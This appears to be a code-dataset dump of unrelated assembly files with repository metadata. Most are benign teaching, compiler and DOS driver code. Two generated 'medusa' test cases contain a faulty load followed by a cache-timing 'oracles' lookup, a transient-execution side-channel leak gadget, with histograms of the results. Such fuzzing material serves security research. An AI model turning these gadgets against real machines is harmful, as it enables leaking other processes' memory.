tilecoll WALL, WALL, WALL, WALL ; 2f tilecoll FLOOR, FLOOR, FLOOR, WALL ; 30 tilecoll WALL, WALL, WALL, WALL ; 31 tilecoll WATER, WATER, WATER, WATER ; 32 tilecoll WATER, WATER, WATER, WATER ; 33 tilecoll WALL, WALL, WALL, WALL ; 34 tilecoll FLOOR, WALL, FLOOR, WALL ; 35 tilecoll FLOOR, WALL, FLOOR, WALL ; 36 tilecoll WALL, WALL, WALL, CAVE ; 37 tilecoll WALL, HOP_DOWN_LEFT, WALL, WALL ; 38 tilecoll HOP_DOWN, HOP_DOWN, WALL, WALL ; 39 tilecoll HOP_DOWN_RIGHT, WALL, WALL, WALL ; 3a tilecoll WALL, HOP_LEFT, WALL, HOP_LEFT ; 3b tilecoll HOP_RIGHT, WALL, HOP_RIGHT, WALL ; 3c tilecoll WATER, WATER, WATER, WATER ; 3d tilecoll WATER, WATER, WATER, WATER ; 3e tilecoll FLOOR, FLOOR, PIT, FLOOR ; 3f

41.584615

61

0.715871

0a87a5ffc0ea613a037d3861462ba00b0ff91bde

1,354

asm

Assembly

functions.asm

gaozihang/learning-asm

be23287dd6fcddb4035ae3179b174342d92db6c7

[ "MIT" ]

null

functions.asm

gaozihang/learning-asm

be23287dd6fcddb4035ae3179b174342d92db6c7

[ "MIT" ]

null

functions.asm

gaozihang/learning-asm

be23287dd6fcddb4035ae3179b174342d92db6c7

[ "MIT" ]

null

atoi: push ebx push ecx push edx push esi mov esi, eax mov eax, 0 mov ecx, 0 .multiplyLoop: xor ebx, ebx mov bl, [esi + ecx] cmp bl, 48 jl .finished cmp bl, 57 jg .finished sub bl, 48 add eax, ebx mov ebx, 10 mul ebx inc ecx jmp .multiplyLoop .finished: cmp ecx, 0 je .restore mov ebx, 10 div ebx .restore: pop esi pop edx pop ecx pop ebx ret iprint: push eax push ecx push edx push esi mov ecx, 0 divideLoop: inc ecx mov edx, 0 mov esi, 10 idiv esi add edx, 48 push edx cmp eax, 0 jnz divideLoop printLoop: dec ecx mov eax, esp call sprint pop eax cmp ecx, 0 jnz printLoop pop esi pop edx pop ecx pop eax ret iprintLF: call iprint push eax mov eax, 0Ah push eax mov eax, esp call sprint pop eax pop eax ret slen: push ebx mov ebx, eax nextchar: cmp byte[eax], 0 jz finished inc eax jmp nextchar finished: sub eax, ebx pop ebx ret sprint: push edx push ecx push ebx push eax call slen mov edx, eax pop eax mov ecx, eax mov ebx, 1 mov eax, 4 int 80h pop ebx pop ecx pop edx ret sprintLF: call sprint push eax mov eax, 0Ah push eax mov eax, esp call sprint pop eax pop eax ret quit: mov ebx, 0 mov eax, 1 int 80h ret

9.811594

21

0.605613

1b384385bca450aa419dc5517d1cf504ff820ba5

181

asm

Assembly

02/c/hi.asm

DaviNakamuraCardoso/assembly

47ce8eeb253122f2d601c6d5bec276566e2df5cf

[ "MIT" ]

null

02/c/hi.asm

DaviNakamuraCardoso/assembly

47ce8eeb253122f2d601c6d5bec276566e2df5cf

[ "MIT" ]

null

02/c/hi.asm

DaviNakamuraCardoso/assembly

47ce8eeb253122f2d601c6d5bec276566e2df5cf

[ "MIT" ]

null

section .data hello db "Hi", 0x0a len equ $ - hello section .text global hi hi: mov rax, 1 mov rdi, 1 mov rsi, hello mov rdx, len syscall ret

11.3125

23

0.552486

125493dbf6a826d15b595c2667652d2a6a9e2e20

7,684

asm

Assembly

Transynther/x86/_processed/NONE/_xt_/i3-7100_9_0x84_notsx.log_21829_2326.asm

ljhsiun2/medusa

67d769b8a2fb42c538f10287abaf0e6dbb463f0c

[ "MIT" ]

9

2020-08-13T19:41:58.000Z

2022-03-30T12:22:51.000Z

Transynther/x86/_processed/NONE/_xt_/i3-7100_9_0x84_notsx.log_21829_2326.asm

ljhsiun2/medusa

67d769b8a2fb42c538f10287abaf0e6dbb463f0c

[ "MIT" ]

1

2021-04-29T06:29:35.000Z

2021-05-13T21:02:30.000Z

Transynther/x86/_processed/NONE/_xt_/i3-7100_9_0x84_notsx.log_21829_2326.asm

ljhsiun2/medusa

67d769b8a2fb42c538f10287abaf0e6dbb463f0c

[ "MIT" ]

3

2020-07-14T17:07:07.000Z

2022-03-21T01:12:22.000Z

.global s_prepare_buffers s_prepare_buffers: push %r10 push %r12 push %r8 push %r9 push %rbp push %rcx push %rdi push %rsi lea addresses_UC_ht+0x7cfa, %r10 nop add $20958, %rbp vmovups (%r10), %ymm4 vextracti128 $1, %ymm4, %xmm4 vpextrq $0, %xmm4, %r9 nop sub %rsi, %rsi lea addresses_A_ht+0x61fa, %r10 nop nop nop xor $1683, %rsi movb (%r10), %r8b nop nop nop nop nop sub %rsi, %rsi lea addresses_A_ht+0x1690e, %rsi lea addresses_WT_ht+0x186fa, %rdi clflush (%rdi) nop nop nop xor $31228, %r12 mov $44, %rcx rep movsq nop nop xor $35750, %r8 lea addresses_normal_ht+0x66f2, %r10 nop cmp %rbp, %rbp movb $0x61, (%r10) nop nop nop nop sub %rbp, %rbp lea addresses_UC_ht+0xf5da, %r10 nop nop nop dec %r9 movb (%r10), %cl nop nop nop nop nop cmp %r9, %r9 lea addresses_normal_ht+0x6b7a, %r12 and $25960, %rdi movw $0x6162, (%r12) nop xor $3473, %rdi lea addresses_normal_ht+0x1855a, %rcx nop nop nop nop add %rsi, %rsi mov $0x6162636465666768, %r12 movq %r12, %xmm7 movups %xmm7, (%rcx) cmp %r8, %r8 lea addresses_UC_ht+0x68fa, %r12 cmp %rbp, %rbp vmovups (%r12), %ymm5 vextracti128 $1, %ymm5, %xmm5 vpextrq $0, %xmm5, %rsi nop sub %r12, %r12 lea addresses_D_ht+0x156fa, %r10 nop nop nop xor %r8, %r8 mov $0x6162636465666768, %rbp movq %rbp, %xmm5 vmovups %ymm5, (%r10) nop nop xor $22101, %r12 lea addresses_WT_ht+0x176f2, %rdi nop nop nop nop and %rbp, %rbp mov (%rdi), %r10 nop xor $12197, %rsi lea addresses_UC_ht+0x1c70a, %rsi lea addresses_D_ht+0xb95a, %rdi clflush (%rdi) nop add %r12, %r12 mov $57, %rcx rep movsw nop inc %rbp lea addresses_WT_ht+0xabfa, %rdi nop nop sub %r10, %r10 mov (%rdi), %r9 nop nop nop nop nop cmp %rsi, %rsi lea addresses_WC_ht+0xcefa, %rdi cmp %rcx, %rcx vmovups (%rdi), %ymm6 vextracti128 $0, %ymm6, %xmm6 vpextrq $1, %xmm6, %r10 nop nop nop nop nop cmp %rbp, %rbp lea addresses_WC_ht+0x5afa, %rbp nop and %r12, %r12 movw $0x6162, (%rbp) nop nop dec %rdi pop %rsi pop %rdi pop %rcx pop %rbp pop %r9 pop %r8 pop %r12 pop %r10 ret .global s_faulty_load s_faulty_load: push %r12 push %r13 push %r14 push %r15 push %r8 push %rbp push %rcx // Load lea addresses_UC+0xcbfa, %rbp nop nop nop nop and $1904, %r13 movb (%rbp), %r8b nop nop nop nop add %rcx, %rcx // Faulty Load lea addresses_normal+0xbefa, %rcx nop nop nop nop inc %r15 mov (%rcx), %ebp lea oracles, %r15 and $0xff, %rbp shlq $12, %rbp mov (%r15,%rbp,1), %rbp pop %rcx pop %rbp pop %r8 pop %r15 pop %r14 pop %r13 pop %r12 ret /* <gen_faulty_load> [REF] {'src': {'type': 'addresses_normal', 'same': False, 'size': 2, 'congruent': 0, 'NT': False, 'AVXalign': True}, 'OP': 'LOAD'} {'src': {'type': 'addresses_UC', 'same': False, 'size': 1, 'congruent': 8, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} [Faulty Load] {'src': {'type': 'addresses_normal', 'same': True, 'size': 4, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} <gen_prepare_buffer> {'src': {'type': 'addresses_UC_ht', 'same': False, 'size': 32, 'congruent': 9, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'type': 'addresses_A_ht', 'same': False, 'size': 1, 'congruent': 8, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'type': 'addresses_A_ht', 'congruent': 2, 'same': False}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 10, 'same': False}, 'OP': 'REPM'} {'dst': {'type': 'addresses_normal_ht', 'same': False, 'size': 1, 'congruent': 2, 'NT': True, 'AVXalign': False}, 'OP': 'STOR'} {'src': {'type': 'addresses_UC_ht', 'same': False, 'size': 1, 'congruent': 4, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'dst': {'type': 'addresses_normal_ht', 'same': False, 'size': 2, 'congruent': 5, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'dst': {'type': 'addresses_normal_ht', 'same': False, 'size': 16, 'congruent': 5, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'src': {'type': 'addresses_UC_ht', 'same': False, 'size': 32, 'congruent': 9, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'dst': {'type': 'addresses_D_ht', 'same': False, 'size': 32, 'congruent': 11, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'src': {'type': 'addresses_WT_ht', 'same': True, 'size': 8, 'congruent': 3, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'type': 'addresses_UC_ht', 'congruent': 1, 'same': False}, 'dst': {'type': 'addresses_D_ht', 'congruent': 5, 'same': False}, 'OP': 'REPM'} {'src': {'type': 'addresses_WT_ht', 'same': True, 'size': 8, 'congruent': 5, 'NT': True, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'type': 'addresses_WC_ht', 'same': False, 'size': 32, 'congruent': 5, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'dst': {'type': 'addresses_WC_ht', 'same': False, 'size': 2, 'congruent': 7, 'NT': False, 'AVXalign': True}, 'OP': 'STOR'} {'34': 21829} 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 */

34.303571

2,999

0.653696

202847d5c3de14ba35b004aaaeeb013d516ffbd2

949

asm

Assembly

asm/doublewhile.asm

pedroreissantos/pepe

444afc02359c31cfe24017dda49395016d94d43e

[ "BSD-3-Clause" ]

null

asm/doublewhile.asm

pedroreissantos/pepe

444afc02359c31cfe24017dda49395016d94d43e

[ "BSD-3-Clause" ]

null

asm/doublewhile.asm

pedroreissantos/pepe

444afc02359c31cfe24017dda49395016d94d43e

[ "BSD-3-Clause" ]

null

; PEPE gerado por 'lcc' (IST: prs 2005, 2009) ; 'rl' serve como frame-pointer e 'r0' como acumulador ; os registos 'r1' a 'r10' sao preservados nas chamadas include atoi.asm include lib.asm ; global main ; TEXT main: ; ncalls=3 PUSH r9 PUSH r10 PUSH rl MOV rl, sp ; P_argc EQU 8 ; P_argv EQU 10 SUB sp, 4 MOV r10, 10 ADD r10, rl MOV r10,[r10] MOV r10,[r10 + 2] PUSH r10 CALL atoi ADD sp,2 MOV [rl + -4],r0 JMP L3 L2: MOV r10,0 MOV [rl + -2],r10 L5: MOV r10, [rl + -2] MOV r9,2 MOD r10,r9 CMP r10,0 JNE L9 MOV r10, [rl + 8] ADD r10,1 MOV [rl + 8],r10 JMP L10 L9: MOV r10, [rl + 8] SUB r10,1 MOV [rl + 8],r10 L10: L6: MOV r10, [rl + -2] ADD r10,1 MOV [rl + -2],r10 MOV r10, [rl + -2] MOV r9,30000 CMP r10,r9 JLT L5 MOV r10, [rl + -4] PUSH r10 CALL printi ADD sp,2 CALL printLN L3: MOV r10, [rl + -4] MOV r9,r10 SUB r9,1 MOV [rl + -4],r9 CMP r10,0 JNE L2 MOV r0,0 L1: MOV sp, rl POP rl POP r10 POP r9 RET ; extern printLN ; extern printi ; extern atoi

13

55

0.650158

dca5d3507dac4573d79b19f42d34a97a03acc622

1,655

asm

Assembly

mips_architecture/lab6_ex4.asm

christosmarg/uni-assignments

bd3fdb78daf038d3a1f6ac1d7c4aad09e19bb795

[ "MIT" ]

null

mips_architecture/lab6_ex4.asm

christosmarg/uni-assignments

bd3fdb78daf038d3a1f6ac1d7c4aad09e19bb795

[ "MIT" ]

1

2021-06-03T22:25:48.000Z

mips_architecture/lab6_ex4.asm

christosmarg/uni-assignments

bd3fdb78daf038d3a1f6ac1d7c4aad09e19bb795

[ "MIT" ]

1

2021-06-03T10:36:57.000Z

.eqv SYS_PRINT_WORD 1 .eqv SYS_PRINT_STRING 4 .eqv SYS_READ_WORD 5 .eqv SYS_EXIT 10 .data inputmsg: .asciiz "Number (0-15): " bounderrstr: .asciiz "Number must be 0-15\n" binstr: .asciiz "Binary: " .text .globl main main: li $v0, SYS_PRINT_STRING la $a0, inputmsg syscall li $v0, SYS_READ_WORD syscall move $t0, $v0 # Bounds check blt $t0, 0, bounderr bgt $t0, 15, bounderr # Init loop counter, We're right shifting in reverse # because otherwise the binary number is going to # show reversed. We assign 3 to `s0` because the range # 0-15 is 4 bits and we'll go from 3 to 0 (4 iterations). # We DON'T start with `s0 = 4` because the last bit # will be eaten. # For example if the number is 3 then # # (0011 >> 3) & 1 = 0000 & 1 = 0 # (0011 >> 2) & 1 = 0000 & 1 = 0 # (0011 >> 1) & 1 = 0001 & 1 = 1 # (0011 >> 0) & 1 = 0011 & 1 = 1 # # So the result is 0011 which is the binary form of 3 li $s0, 3 binloop: srlv $t1, $t0, $s0 # t1 = t0 >> s0 andi $t2, $t1, 1 # t2 = t1 & 1 li $v0, SYS_PRINT_WORD la $a0, 0($t2) syscall beq $s0, 0, exit addi $s0, $s0, -1 j binloop bounderr: li $v0, SYS_PRINT_STRING la $a0, bounderrstr syscall exit: li $v0, SYS_EXIT syscall

26.269841

65

0.464653

bd99abe2733bce803cbdaecf0928e17c7f5c4336

3,350

asm

Assembly

dev/smartdrv/hooksini.asm

minblock/msdos

479ffd237d9bb7cc83cb06361db2c4ef42dfbac0

[ "Apache-2.0" ]

null

dev/smartdrv/hooksini.asm

minblock/msdos

479ffd237d9bb7cc83cb06361db2c4ef42dfbac0

[ "Apache-2.0" ]

null

dev/smartdrv/hooksini.asm

minblock/msdos

479ffd237d9bb7cc83cb06361db2c4ef42dfbac0

[ "Apache-2.0" ]

null

;/* ; * Microsoft Confidential ; * Copyright (C) Microsoft Corporation 1991 ; * All Rights Reserved. ; */ include bambi.inc public hook_ints public init_bambi_io ; ; data from rdata.asm ; extrn indosaddr :dword extrn in_08 :byte extrn in_09 :byte extrn in_10 :byte extrn in_13 :byte extrn in_16 :byte extrn int08chain :dword extrn int10chain :dword extrn int09chain :dword extrn int13chain :dword extrn int28chain :dword extrn int16chain :dword extrn int19chain :dword extrn int2fchain :dword extrn int15chain :dword extrn int21chain :dword extrn int25chain :dword extrn int26chain :dword ; ; routines from hooks.asm ; extrn int08hook :far extrn int09hook :far extrn int10hook :far extrn int13hook :far ;extrn int16hook :far extrn int28hook :far extrn int19hook :far extrn int15hook :far extrn int21hook :far extrn int25hook :far extrn int26hook :far ; ; routines from int2f.asm ; extrn int2fhook :far zseg segment public 'CODE' assume cs:zseg assume ds:nothing init_bambi_io proc near push es mov ah,34h int 21h ;es:bx->indos mov WORD PTR cs:indosaddr[0],bx mov WORD PTR cs:indosaddr[2],es pop es clc no_bambi: ret init_bambi_io endp hook_ints proc near push es push ds push cs pop ds ;;; int 15 reboot vector mov ax,3515h int 21h mov WORD PTR cs:int15chain,bx mov WORD PTR cs:int15chain[2],es mov dx,offset cs:int15hook mov ax,2515h int 21h ;;; int 19 reboot vector mov ax,3519h int 21h mov WORD PTR cs:int19chain,bx mov WORD PTR cs:int19chain[2],es mov dx,offset cs:int19hook mov ax,2519h int 21h ;;; int 10 mov ax,3510h int 21h mov WORD PTR cs:int10chain,bx mov WORD PTR cs:int10chain[2],es mov dx,offset cs:int10hook mov ax,2510h int 21h ;;; int 9 mov ax,3509h int 21h mov WORD PTR cs:int09chain,bx mov WORD PTR cs:int09chain[2],es mov dx,offset cs:int09hook mov ax,2509h int 21h ;;; int 13 mov ax,3513h int 21h mov WORD PTR cs:int13chain,bx mov WORD PTR cs:int13chain[2],es mov dx,offset cs:int13hook mov ax,2513h int 21h ;;; int 2f mov ax,352fh int 21h mov WORD PTR cs:int2fchain,bx mov WORD PTR cs:int2fchain[2],es mov dx,offset cs:int2fhook mov ax,252fh int 21h ;;; int 21 dos mov ax,3521h int 21h mov WORD PTR cs:int21chain,bx mov WORD PTR cs:int21chain[2],es mov dx,offset cs:int21hook mov ax,2521h int 21h ;;; int 25 absolute disk read mov ax,3525h int 21h mov WORD PTR cs:int25chain,bx mov WORD PTR cs:int25chain[2],es mov dx,offset cs:int25hook mov ax,2525h int 21h ;;; int 26 absolute disk write mov ax,3526h int 21h mov WORD PTR cs:int26chain,bx mov WORD PTR cs:int26chain[2],es mov dx,offset cs:int26hook mov ax,2526h int 21h ;;; int 28 idle mov ax,3528h int 21h mov WORD PTR cs:int28chain,bx mov WORD PTR cs:int28chain[2],es mov dx,offset cs:int28hook mov ax,2528h int 21h ;;; int 16 keyboard poll/etc ; mov ax,3516h ; int 21h ; ; mov WORD PTR cs:int16chain,bx ; mov WORD PTR cs:int16chain[2],es ; ; mov dx,offset cs:int16hook ; mov ax,2516h ; int 21h ;;; hook timer last mov ax,3508h int 21h mov WORD PTR cs:int08chain,bx mov WORD PTR cs:int08chain[2],es mov dx,offset cs:int08hook mov ax,2508h int 21h pop ds pop es ret hook_ints endp zseg ends end

14.757709

65

0.701791

0171cc0d941c26b0cfce33230275d52c16a3dfbd

5,399

asm

Assembly

Transynther/x86/_processed/AVXALIGN/_st_zr_un_/i9-9900K_12_0xa0_notsx.log_21829_1440.asm

ljhsiun2/medusa

67d769b8a2fb42c538f10287abaf0e6dbb463f0c

[ "MIT" ]

9

2020-08-13T19:41:58.000Z

2022-03-30T12:22:51.000Z

Transynther/x86/_processed/AVXALIGN/_st_zr_un_/i9-9900K_12_0xa0_notsx.log_21829_1440.asm

ljhsiun2/medusa

67d769b8a2fb42c538f10287abaf0e6dbb463f0c

[ "MIT" ]

1

2021-04-29T06:29:35.000Z

2021-05-13T21:02:30.000Z

Transynther/x86/_processed/AVXALIGN/_st_zr_un_/i9-9900K_12_0xa0_notsx.log_21829_1440.asm

ljhsiun2/medusa

67d769b8a2fb42c538f10287abaf0e6dbb463f0c

[ "MIT" ]

3

2020-07-14T17:07:07.000Z

2022-03-21T01:12:22.000Z

.global s_prepare_buffers s_prepare_buffers: push %r12 push %r14 push %r15 push %r8 push %rcx push %rdx push %rsi lea addresses_D_ht+0x1a6f2, %rdx nop nop sub %r15, %r15 mov $0x6162636465666768, %rsi movq %rsi, %xmm0 vmovups %ymm0, (%rdx) nop nop add $55831, %r8 lea addresses_D_ht+0x113c8, %r15 nop nop nop nop and %r14, %r14 mov (%r15), %cx nop nop nop nop cmp %rcx, %rcx lea addresses_WT_ht+0x181c8, %r14 xor $55970, %r12 mov $0x6162636465666768, %rdx movq %rdx, (%r14) nop nop nop nop sub $36413, %rdx lea addresses_WC_ht+0x3848, %r8 nop nop nop nop nop sub %r12, %r12 movb $0x61, (%r8) nop nop nop nop and %rdx, %rdx lea addresses_UC_ht+0x17738, %r12 nop nop sub $2876, %r15 movb $0x61, (%r12) nop nop inc %r15 pop %rsi pop %rdx pop %rcx pop %r8 pop %r15 pop %r14 pop %r12 ret .global s_faulty_load s_faulty_load: push %r10 push %r11 push %r12 push %r13 push %r15 push %r9 push %rbp // Store lea addresses_WT+0x17bc8, %r15 nop nop cmp $39142, %r13 mov $0x5152535455565758, %r10 movq %r10, %xmm0 vmovntdq %ymm0, (%r15) add %r9, %r9 // Faulty Load mov $0x2096b200000007c8, %rbp nop nop xor $27144, %r12 movaps (%rbp), %xmm4 vpextrq $1, %xmm4, %r10 lea oracles, %r13 and $0xff, %r10 shlq $12, %r10 mov (%r13,%r10,1), %r10 pop %rbp pop %r9 pop %r15 pop %r13 pop %r12 pop %r11 pop %r10 ret /* <gen_faulty_load> [REF] {'src': {'type': 'addresses_NC', 'AVXalign': False, 'size': 32, 'NT': False, 'same': False, 'congruent': 0}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'type': 'addresses_WT', 'AVXalign': False, 'size': 32, 'NT': True, 'same': False, 'congruent': 7}} [Faulty Load] {'src': {'type': 'addresses_NC', 'AVXalign': True, 'size': 16, 'NT': False, 'same': True, 'congruent': 0}, 'OP': 'LOAD'} <gen_prepare_buffer> {'OP': 'STOR', 'dst': {'type': 'addresses_D_ht', 'AVXalign': False, 'size': 32, 'NT': False, 'same': False, 'congruent': 1}} {'src': {'type': 'addresses_D_ht', 'AVXalign': False, 'size': 2, 'NT': False, 'same': False, 'congruent': 10}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'type': 'addresses_WT_ht', 'AVXalign': False, 'size': 8, 'NT': False, 'same': False, 'congruent': 8}} {'OP': 'STOR', 'dst': {'type': 'addresses_WC_ht', 'AVXalign': False, 'size': 1, 'NT': False, 'same': False, 'congruent': 7}} {'OP': 'STOR', 'dst': {'type': 'addresses_UC_ht', 'AVXalign': False, 'size': 1, 'NT': False, 'same': False, 'congruent': 3}} {'30': 104, 'f9': 26, 'ff': 22, '00': 21677} 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f9 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f9 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f9 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f9 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f9 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f9 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f9 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 */

42.511811

2,999

0.656603

002903e6b668f1e477384bff558f33d28afebe25

3,139

asm

Assembly

Transynther/x86/_processed/US/_zr_/i3-7100_9_0x84_notsx.log_35_2292.asm

ljhsiun2/medusa

67d769b8a2fb42c538f10287abaf0e6dbb463f0c

[ "MIT" ]

9

2020-08-13T19:41:58.000Z

2022-03-30T12:22:51.000Z

Transynther/x86/_processed/US/_zr_/i3-7100_9_0x84_notsx.log_35_2292.asm

ljhsiun2/medusa

67d769b8a2fb42c538f10287abaf0e6dbb463f0c

[ "MIT" ]

1

2021-04-29T06:29:35.000Z

2021-05-13T21:02:30.000Z

Transynther/x86/_processed/US/_zr_/i3-7100_9_0x84_notsx.log_35_2292.asm

ljhsiun2/medusa

67d769b8a2fb42c538f10287abaf0e6dbb463f0c

[ "MIT" ]

3

2020-07-14T17:07:07.000Z

